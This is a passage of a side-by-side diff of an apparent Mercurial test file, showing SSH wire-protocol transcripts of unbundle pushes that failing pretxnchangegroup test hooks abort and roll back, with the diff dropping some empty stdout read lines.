541 | e> ui.write 1 line flush\n |
|
534 | e> ui.write 1 line flush\n | |
542 | e> transaction abort!\n |
|
535 | e> transaction abort!\n | |
543 | e> rollback completed\n |
|
536 | e> rollback completed\n | |
544 | e> abort: pretxnchangegroup.fail hook failed\n |
|
537 | e> abort: pretxnchangegroup.fail hook failed\n | |
545 |
|
538 | |||
546 | testing ssh2 |
|
539 | testing ssh2 | |
547 | creating ssh peer from handshake results |
|
540 | creating ssh peer from handshake results | |
548 | i> write(171) -> 171: |
|
541 | i> write(171) -> 171: | |
549 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
542 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
550 | i> hello\n |
|
543 | i> hello\n | |
551 | i> between\n |
|
544 | i> between\n | |
552 | i> pairs 81\n |
|
545 | i> pairs 81\n | |
553 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
546 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
554 | i> flush() -> None |
|
547 | i> flush() -> None | |
555 | o> readline() -> 62: |
|
548 | o> readline() -> 62: | |
556 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
549 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
557 | o> readline() -> 4: |
|
550 | o> readline() -> 4: | |
558 | o> 412\n |
|
551 | o> 412\n | |
559 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
552 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
560 | o> read(1) -> 1: |
|
553 | o> read(1) -> 1: | |
561 | o> \n |
|
554 | o> \n | |
562 | sending unbundle command |
|
555 | sending unbundle command | |
563 | i> write(9) -> 9: |
|
556 | i> write(9) -> 9: | |
564 | i> unbundle\n |
|
557 | i> unbundle\n | |
565 | i> write(9) -> 9: |
|
558 | i> write(9) -> 9: | |
566 | i> heads 10\n |
|
559 | i> heads 10\n | |
567 | i> write(10) -> 10: 666f726365 |
|
560 | i> write(10) -> 10: 666f726365 | |
568 | i> flush() -> None |
|
561 | i> flush() -> None | |
569 | o> readline() -> 2: |
|
562 | o> readline() -> 2: | |
570 | o> 0\n |
|
563 | o> 0\n | |
571 | i> write(4) -> 4: |
|
564 | i> write(4) -> 4: | |
572 | i> 426\n |
|
565 | i> 426\n | |
573 | i> write(426) -> 426: |
|
566 | i> write(426) -> 426: | |
574 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
567 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
575 | i> test\n |
|
568 | i> test\n | |
576 | i> 0 0\n |
|
569 | i> 0 0\n | |
577 | i> foo\n |
|
570 | i> foo\n | |
578 | i> \n |
|
571 | i> \n | |
579 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
572 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
580 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
573 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
581 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
574 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
582 | i> write(2) -> 2: |
|
575 | i> write(2) -> 2: | |
583 | i> 0\n |
|
576 | i> 0\n | |
584 | i> flush() -> None |
|
577 | i> flush() -> None | |
585 | o> readline() -> 2: |
|
578 | o> readline() -> 2: | |
586 | o> 0\n |
|
579 | o> 0\n | |
587 | o> readline() -> 2: |
|
580 | o> readline() -> 2: | |
588 | o> 1\n |
|
581 | o> 1\n | |
589 | o> read(1) -> 1: 0 |
|
582 | o> read(1) -> 1: 0 | |
590 | result: 0 |
|
583 | result: 0 | |
591 | remote output: |
|
584 | remote output: | |
592 | o> read(-1) -> 0: |
|
|||
593 | e> read(-1) -> 202: |
|
585 | e> read(-1) -> 202: | |
594 | e> adding changesets\n |
|
586 | e> adding changesets\n | |
595 | e> adding manifests\n |
|
587 | e> adding manifests\n | |
596 | e> adding file changes\n |
|
588 | e> adding file changes\n | |
597 | e> added 1 changesets with 1 changes to 1 files\n |
|
589 | e> added 1 changesets with 1 changes to 1 files\n | |
598 | e> ui.write 1 line flush\n |
|
590 | e> ui.write 1 line flush\n | |
599 | e> transaction abort!\n |
|
591 | e> transaction abort!\n | |
600 | e> rollback completed\n |
|
592 | e> rollback completed\n | |
601 | e> abort: pretxnchangegroup.fail hook failed\n |
|
593 | e> abort: pretxnchangegroup.fail hook failed\n | |
602 |
|
594 | |||
603 | Multiple writes + flush |
|
595 | Multiple writes + flush | |
604 |
|
596 | |||
605 | $ cat > .hg/hgrc << EOF |
|
597 | $ cat > .hg/hgrc << EOF | |
606 | > [hooks] |
|
598 | > [hooks] | |
607 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookmultiflush |
|
599 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookmultiflush | |
608 | > EOF |
|
600 | > EOF | |
609 |
|
601 | |||
610 | $ debugwireproto << EOF |
|
602 | $ debugwireproto << EOF | |
611 | > command unbundle |
|
603 | > command unbundle | |
612 | > # This is "force" in hex. |
|
604 | > # This is "force" in hex. | |
613 | > heads 666f726365 |
|
605 | > heads 666f726365 | |
614 | > PUSHFILE ../initial.v1.hg |
|
606 | > PUSHFILE ../initial.v1.hg | |
615 | > readavailable |
|
607 | > readavailable | |
616 | > EOF |
|
608 | > EOF | |
617 | testing ssh1 |
|
609 | testing ssh1 | |
618 | creating ssh peer from handshake results |
|
610 | creating ssh peer from handshake results | |
619 | i> write(104) -> 104: |
|
611 | i> write(104) -> 104: | |
620 | i> hello\n |
|
612 | i> hello\n | |
621 | i> between\n |
|
613 | i> between\n | |
622 | i> pairs 81\n |
|
614 | i> pairs 81\n | |
623 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
615 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
624 | i> flush() -> None |
|
616 | i> flush() -> None | |
625 | o> readline() -> 4: |
|
617 | o> readline() -> 4: | |
626 | o> 413\n |
|
618 | o> 413\n | |
627 | o> readline() -> 413: |
|
619 | o> readline() -> 413: | |
628 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
620 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
629 | o> readline() -> 2: |
|
621 | o> readline() -> 2: | |
630 | o> 1\n |
|
622 | o> 1\n | |
631 | o> readline() -> 1: |
|
623 | o> readline() -> 1: | |
632 | o> \n |
|
624 | o> \n | |
633 | sending unbundle command |
|
625 | sending unbundle command | |
634 | i> write(9) -> 9: |
|
626 | i> write(9) -> 9: | |
635 | i> unbundle\n |
|
627 | i> unbundle\n | |
636 | i> write(9) -> 9: |
|
628 | i> write(9) -> 9: | |
637 | i> heads 10\n |
|
629 | i> heads 10\n | |
638 | i> write(10) -> 10: 666f726365 |
|
630 | i> write(10) -> 10: 666f726365 | |
639 | i> flush() -> None |
|
631 | i> flush() -> None | |
640 | o> readline() -> 2: |
|
632 | o> readline() -> 2: | |
641 | o> 0\n |
|
633 | o> 0\n | |
642 | i> write(4) -> 4: |
|
634 | i> write(4) -> 4: | |
643 | i> 426\n |
|
635 | i> 426\n | |
644 | i> write(426) -> 426: |
|
636 | i> write(426) -> 426: | |
645 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
637 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
646 | i> test\n |
|
638 | i> test\n | |
647 | i> 0 0\n |
|
639 | i> 0 0\n | |
648 | i> foo\n |
|
640 | i> foo\n | |
649 | i> \n |
|
641 | i> \n | |
650 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
642 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
651 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
643 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
652 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
644 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
653 | i> write(2) -> 2: |
|
645 | i> write(2) -> 2: | |
654 | i> 0\n |
|
646 | i> 0\n | |
655 | i> flush() -> None |
|
647 | i> flush() -> None | |
656 | o> readline() -> 2: |
|
648 | o> readline() -> 2: | |
657 | o> 0\n |
|
649 | o> 0\n | |
658 | o> readline() -> 2: |
|
650 | o> readline() -> 2: | |
659 | o> 1\n |
|
651 | o> 1\n | |
660 | o> read(1) -> 1: 0 |
|
652 | o> read(1) -> 1: 0 | |
661 | result: 0 |
|
653 | result: 0 | |
662 | remote output: |
|
654 | remote output: | |
663 | o> read(-1) -> 0: |
|
|||
664 | e> read(-1) -> 206: |
|
655 | e> read(-1) -> 206: | |
665 | e> adding changesets\n |
|
656 | e> adding changesets\n | |
666 | e> adding manifests\n |
|
657 | e> adding manifests\n | |
667 | e> adding file changes\n |
|
658 | e> adding file changes\n | |
668 | e> added 1 changesets with 1 changes to 1 files\n |
|
659 | e> added 1 changesets with 1 changes to 1 files\n | |
669 | e> ui.write 1st\n |
|
660 | e> ui.write 1st\n | |
670 | e> ui.write 2nd\n |
|
661 | e> ui.write 2nd\n | |
671 | e> transaction abort!\n |
|
662 | e> transaction abort!\n | |
672 | e> rollback completed\n |
|
663 | e> rollback completed\n | |
673 | e> abort: pretxnchangegroup.fail hook failed\n |
|
664 | e> abort: pretxnchangegroup.fail hook failed\n | |
674 |
|
665 | |||
675 | testing ssh2 |
|
666 | testing ssh2 | |
676 | creating ssh peer from handshake results |
|
667 | creating ssh peer from handshake results | |
677 | i> write(171) -> 171: |
|
668 | i> write(171) -> 171: | |
678 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
669 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
679 | i> hello\n |
|
670 | i> hello\n | |
680 | i> between\n |
|
671 | i> between\n | |
681 | i> pairs 81\n |
|
672 | i> pairs 81\n | |
682 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
673 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
683 | i> flush() -> None |
|
674 | i> flush() -> None | |
684 | o> readline() -> 62: |
|
675 | o> readline() -> 62: | |
685 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
676 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
686 | o> readline() -> 4: |
|
677 | o> readline() -> 4: | |
687 | o> 412\n |
|
678 | o> 412\n | |
688 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
679 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
689 | o> read(1) -> 1: |
|
680 | o> read(1) -> 1: | |
690 | o> \n |
|
681 | o> \n | |
691 | sending unbundle command |
|
682 | sending unbundle command | |
692 | i> write(9) -> 9: |
|
683 | i> write(9) -> 9: | |
693 | i> unbundle\n |
|
684 | i> unbundle\n | |
694 | i> write(9) -> 9: |
|
685 | i> write(9) -> 9: | |
695 | i> heads 10\n |
|
686 | i> heads 10\n | |
696 | i> write(10) -> 10: 666f726365 |
|
687 | i> write(10) -> 10: 666f726365 | |
697 | i> flush() -> None |
|
688 | i> flush() -> None | |
698 | o> readline() -> 2: |
|
689 | o> readline() -> 2: | |
699 | o> 0\n |
|
690 | o> 0\n | |
700 | i> write(4) -> 4: |
|
691 | i> write(4) -> 4: | |
701 | i> 426\n |
|
692 | i> 426\n | |
702 | i> write(426) -> 426: |
|
693 | i> write(426) -> 426: | |
703 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
694 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
704 | i> test\n |
|
695 | i> test\n | |
705 | i> 0 0\n |
|
696 | i> 0 0\n | |
706 | i> foo\n |
|
697 | i> foo\n | |
707 | i> \n |
|
698 | i> \n | |
708 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
699 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
709 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
700 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
710 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
701 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
711 | i> write(2) -> 2: |
|
702 | i> write(2) -> 2: | |
712 | i> 0\n |
|
703 | i> 0\n | |
713 | i> flush() -> None |
|
704 | i> flush() -> None | |
714 | o> readline() -> 2: |
|
705 | o> readline() -> 2: | |
715 | o> 0\n |
|
706 | o> 0\n | |
716 | o> readline() -> 2: |
|
707 | o> readline() -> 2: | |
717 | o> 1\n |
|
708 | o> 1\n | |
718 | o> read(1) -> 1: 0 |
|
709 | o> read(1) -> 1: 0 | |
719 | result: 0 |
|
710 | result: 0 | |
720 | remote output: |
|
711 | remote output: | |
721 | o> read(-1) -> 0: |
|
|||
722 | e> read(-1) -> 206: |
|
712 | e> read(-1) -> 206: | |
723 | e> adding changesets\n |
|
713 | e> adding changesets\n | |
724 | e> adding manifests\n |
|
714 | e> adding manifests\n | |
725 | e> adding file changes\n |
|
715 | e> adding file changes\n | |
726 | e> added 1 changesets with 1 changes to 1 files\n |
|
716 | e> added 1 changesets with 1 changes to 1 files\n | |
727 | e> ui.write 1st\n |
|
717 | e> ui.write 1st\n | |
728 | e> ui.write 2nd\n |
|
718 | e> ui.write 2nd\n | |
729 | e> transaction abort!\n |
|
719 | e> transaction abort!\n | |
730 | e> rollback completed\n |
|
720 | e> rollback completed\n | |
731 | e> abort: pretxnchangegroup.fail hook failed\n |
|
721 | e> abort: pretxnchangegroup.fail hook failed\n | |
732 |
|
722 | |||
733 | ui.write() + ui.write_err() output is captured |
|
723 | ui.write() + ui.write_err() output is captured | |
734 |
|
724 | |||
735 | $ cat > .hg/hgrc << EOF |
|
725 | $ cat > .hg/hgrc << EOF | |
736 | > [hooks] |
|
726 | > [hooks] | |
737 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookwriteandwriteerr |
|
727 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookwriteandwriteerr | |
738 | > EOF |
|
728 | > EOF | |
739 |
|
729 | |||
740 | $ debugwireproto << EOF |
|
730 | $ debugwireproto << EOF | |
741 | > command unbundle |
|
731 | > command unbundle | |
742 | > # This is "force" in hex. |
|
732 | > # This is "force" in hex. | |
743 | > heads 666f726365 |
|
733 | > heads 666f726365 | |
744 | > PUSHFILE ../initial.v1.hg |
|
734 | > PUSHFILE ../initial.v1.hg | |
745 | > readavailable |
|
735 | > readavailable | |
746 | > EOF |
|
736 | > EOF | |
747 | testing ssh1 |
|
737 | testing ssh1 | |
748 | creating ssh peer from handshake results |
|
738 | creating ssh peer from handshake results | |
749 | i> write(104) -> 104: |
|
739 | i> write(104) -> 104: | |
750 | i> hello\n |
|
740 | i> hello\n | |
751 | i> between\n |
|
741 | i> between\n | |
752 | i> pairs 81\n |
|
742 | i> pairs 81\n | |
753 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
743 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
754 | i> flush() -> None |
|
744 | i> flush() -> None | |
755 | o> readline() -> 4: |
|
745 | o> readline() -> 4: | |
756 | o> 413\n |
|
746 | o> 413\n | |
757 | o> readline() -> 413: |
|
747 | o> readline() -> 413: | |
758 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
748 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
759 | o> readline() -> 2: |
|
749 | o> readline() -> 2: | |
760 | o> 1\n |
|
750 | o> 1\n | |
761 | o> readline() -> 1: |
|
751 | o> readline() -> 1: | |
762 | o> \n |
|
752 | o> \n | |
763 | sending unbundle command |
|
753 | sending unbundle command | |
764 | i> write(9) -> 9: |
|
754 | i> write(9) -> 9: | |
765 | i> unbundle\n |
|
755 | i> unbundle\n | |
766 | i> write(9) -> 9: |
|
756 | i> write(9) -> 9: | |
767 | i> heads 10\n |
|
757 | i> heads 10\n | |
768 | i> write(10) -> 10: 666f726365 |
|
758 | i> write(10) -> 10: 666f726365 | |
769 | i> flush() -> None |
|
759 | i> flush() -> None | |
770 | o> readline() -> 2: |
|
760 | o> readline() -> 2: | |
771 | o> 0\n |
|
761 | o> 0\n | |
772 | i> write(4) -> 4: |
|
762 | i> write(4) -> 4: | |
773 | i> 426\n |
|
763 | i> 426\n | |
774 | i> write(426) -> 426: |
|
764 | i> write(426) -> 426: | |
775 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
765 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
776 | i> test\n |
|
766 | i> test\n | |
777 | i> 0 0\n |
|
767 | i> 0 0\n | |
778 | i> foo\n |
|
768 | i> foo\n | |
779 | i> \n |
|
769 | i> \n | |
780 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
